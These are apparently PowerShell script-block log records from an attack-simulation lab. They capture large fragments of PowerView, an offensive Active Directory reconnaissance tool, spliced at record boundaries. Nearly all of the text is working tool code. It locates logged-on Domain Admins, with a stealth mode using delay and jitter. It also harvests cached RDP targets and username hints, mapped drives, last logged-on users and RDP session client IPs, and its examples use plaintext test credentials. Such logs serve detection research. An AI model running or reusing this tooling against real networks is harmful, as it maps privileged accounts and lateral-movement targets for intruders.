-ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged users in dev.testlab.local. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainUserLocation -Domain testlab.local -Credential $Cred Searches for domain admin locations in the testlab.local using the specified alternate credentials. .OUTPUTS PowerView.UserLocation #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.UserLocation')] [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [Alias('Unconstrained')] [Switch] $ComputerUnconstrained, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'UserIdentity')] [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $UserDomain, [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [Parameter(ParameterSetName = 'UserGroupIdentity')] [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Alias('AdminCount')] [Switch] $UserAdminCount, [Alias('AllowDelegation')] [Switch] $UserAllowDelegation, [Switch] $CheckAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Parameter(ParameterSetName = 'ShowAll')] [Switch] $ShowAll, [Switch] $Stealth, [String] [ValidateSet('DFS', 'DC', 'File', 'All')] $StealthSource = 'All', [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } $TargetComputers = @() # first, build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = @($ComputerName) } else { if ($PSBoundParameters['Stealth']) { Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" $TargetComputerArrayList = New-Object System.Collections.ArrayList if ($StealthSource -match 'File|All') { Write-Verbose '[Find-DomainUserLocation] Querying for file servers' $FileServerSearcherArguments = @{} if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } $FileServers = Get-DomainFileServer @FileServerSearcherArguments if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } $TargetComputerArrayList.AddRange( $FileServers ) } if ($StealthSource -match 'DFS|All') { Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' # # TODO: fix the passed parameters to Get-DomainDFSShare # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} } if ($StealthSource -match 'DC|All') { Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' $DCSearcherArguments = @{ 'LDAP' = $True } if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } $TargetComputerArrayList.AddRange( $DomainControllers ) } $TargetComputers = $TargetComputerArrayList.ToArray() } else { Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } } Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainUserLocation] No hosts found to enumerate' } # get the current user so we can ignore it in the results if ($PSBoundParameters['Credential']) { $CurrentUser = $Credential.GetNetworkCredential().UserName } else { $CurrentUser = ([Environment]::UserName).ToLower() } # now build the user target set if ($PSBoundParameters['ShowAll']) { $TargetUsers = @() } elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundPare66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122634Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3344 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress if ($Result -eq 0) { $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename } else { Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)" $ComputerSite | Add-Member Noteproperty 'SiteName' '' } $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) $ComputerSite } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-WMIRegProxy { <# .SYNOPSIS Enumerates the proxy server and WPAD conents for the current user. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Enumerates the proxy server and WPAD specification for the current user on the local machine (default), or a machine specified with -ComputerName. It does this by enumerating settings from HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. .PARAMETER ComputerName Specifies the system to enumerate proxy settings on. Defaults to the local host. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegProxy ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- WINDOWS1 http://primary.test... .EXAMPLE $Cred = Get-Credential "TESTLAB\administrator" Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- windows1.testlab.local primary.testlab.local .INPUTS String Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). .OUTPUTS PowerView.ProxySettings Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. #> [OutputType('PowerView.ProxySettings')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } $RegProvider = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' # HKEY_CURRENT_USER $HKCU = 2147483649 $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue $Wpad = '' if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { try { $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) } catch { Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" } } if ($ProxyServer -or $AutoConfigUrl) { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ComputerName' $Computer $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL $Out | Add-Member Noteproperty 'Wpad' $Wpad $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') $Out } else { Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" } } catch { Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" } } } } function Get-WMIRegLastLoggedOn { <# .SYNOPSIS Returns the last user who logged onto the local (or a remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function uses remote registry to enumerate the LastLoggedOnUser registry key for the local (or remote) machine. .PARAMETER ComputerName Specifies the hostname to query for remote registry values (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegLastLoggedOn Returns the last user logged onto the local machine. .EXAMPLE Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 Returns the last user logged onto WINDOWS1 .EXAMPLE Get-DomainComputer | Get-WMIRegLastLoggedOn Returns the last user logged onto all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.LastLoggedOnUser A PSCustomObject containing the ComputerName and last loggedon user. #> [OutputType('PowerView.LastLoggedOnUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_LOCAL_MACHINE $HKLM = 2147483650 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'SilentlyContinue' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } # try to open up the remote registry key to grab the last logged on user try { $Reg = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' $Value = 'LastLoggedOnUser' $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue $LastLoggedOn = New-Object PSObject $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') $LastLoggedOn } catch { Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." } } } } function Get-WMIRegCachedRDPConnection { <# .SYNOPSIS Returns information about RDP connections outgoing from the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to query all entries for the "Windows Remote Desktop Connection Client" on a machine, separated by user and target server. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegCachedRDPConnection Returns the RDP connection client information for the local machine. .EXAMPLE Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local Returns the RDP connection client information for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegCachedRDPConnection Returns cached RDP information for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.CachedRDPConnection A PSCustomObject containing the ComputerName and cached RDP information. #> [OutputType('PowerView.CachedRDPConnection')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } # pull out all the cached RDP connections $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames ForEach ($Connection in $ConnectionKeys) { # make sure this key is a cached connection if ($Connection -match 'MRU.*') { $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } # pull out all the cached server info with username hints $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames ForEach ($Server in $ServerKeys) { $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } catch { Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" } } } catch { Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } } } function Get-WMIRegMountedDrive { <# .SYNOPSIS Returns information about saved network mounted drives for the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to enumerate recently mounted network drives. .PARAMETER ComputerName Specifies the hostname to query for mounted drive information (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegMountedDrive Returns the saved network mounted drives for the local machine. .EXAMPLE Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local Returns the saved network mounted drives for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegMountedDrive Returns the saved network mounted drives for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.RegMountedDrive A PSCustomObject containing the ComputerName and mounted drive information. #> [OutputType('PowerView.RegMountedDrive')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames ForEach ($DriveLetter in $DriveLetters) { $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue if (-not $UserNe66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122633Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3244) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-RegLoggedOn { <# .SYNOPSIS Returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys. Note: This function requires only domain user rights on the machine you're enumerating, but remote registry must be enabled. Author: Matt Kelly (@BreakersAll) License: BSD 3-Clause Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID .DESCRIPTION This function will query the HKU registry values to retrieve the local logged on users SID and then attempt and reverse it. Adapted technique from Sysinternal's PSLoggedOn script. Benefit over using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges required (NetWkstaUserEnum requires remote admin access). .PARAMETER ComputerName Specifies the hostname to query for remote registry values (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-RegLoggedOn Returns users actively logged onto the local host. .EXAMPLE Get-RegLoggedOn -ComputerName sqlserver Returns users actively logged onto the 'sqlserver' host. .EXAMPLE Get-DomainController | Get-RegLoggedOn Returns users actively logged on all domain controllers. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.RegLoggedOnUser A PSCustomObject including the UserDomain/UserName/UserSID of each actively logged on user, with the ComputerName added. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.RegLoggedOnUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost' ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { try { # retrieve HKU remote registry values $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") # sort out bogus sid's like _class $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple' if ($UserName) { $UserName, $UserDomain = $UserName.Split('@') } else { $UserName = $_ $UserDomain = $Null } $RegLoggedOnUser = New-Object PSObject $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser') $RegLoggedOnUser } } catch { Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetRDPSession { <# .SYNOPSIS Returns remote desktop/session information for the local (or a remote) machine. Note: only members of the Administrators or Account Operators local group can successfully execute this functionality on a remote target. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation Win32API calls to query a given RDP remote service for active sessions and originating IPs. This is a replacement for qwinsta. .PARAMETER ComputerName Specifies the hostname to query for active sessions (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetRDPSession Returns active RDP/terminal sessions on the local host. .EXAMPLE Get-NetRDPSession -ComputerName "sqlserver" Returns active RDP/terminal sessions on the 'sqlserver' host. .EXAMPLE Get-DomainController | Get-NetRDPSession Returns active RDP/terminal sessions on all domain controllers. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetRDPSession -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.RDPSessionInfo A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, with the ComputerName added. .LINK https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx #> [OutputType('PowerView.RDPSessionInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # open up a handle to the Remote Desktop Session host $Handle = $Wtsapi32::WTSOpenServerEx($Computer) # if we get a non-zero handle back, everything was successful if ($Handle -ne 0) { # arguments for WTSEnumerateSessionsEx $ppSessionInfo = [IntPtr]::Zero $pCount = 0 # get information on all current sessions $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() # locate the offset of the initial intPtr $Offset = $ppSessionInfo.ToInt64() if (($Result -ne 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $WTS_SESSION_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $pCount); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 $RDPSession = New-Object PSObject if ($Info.pHostName) { $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName } else { # if no hostname returned, use the specified hostname $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer } $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { # if a domain isn't returned just use the username $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" } else { $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" } $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID $RDPSession | Add-Member Noteproperty 'State' $Info.State $ppBuffer = [IntPtr]::Zero $pBytesReturned = 0 # query for the source client IP with WTSQuerySessionInformation # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx $Result2 = 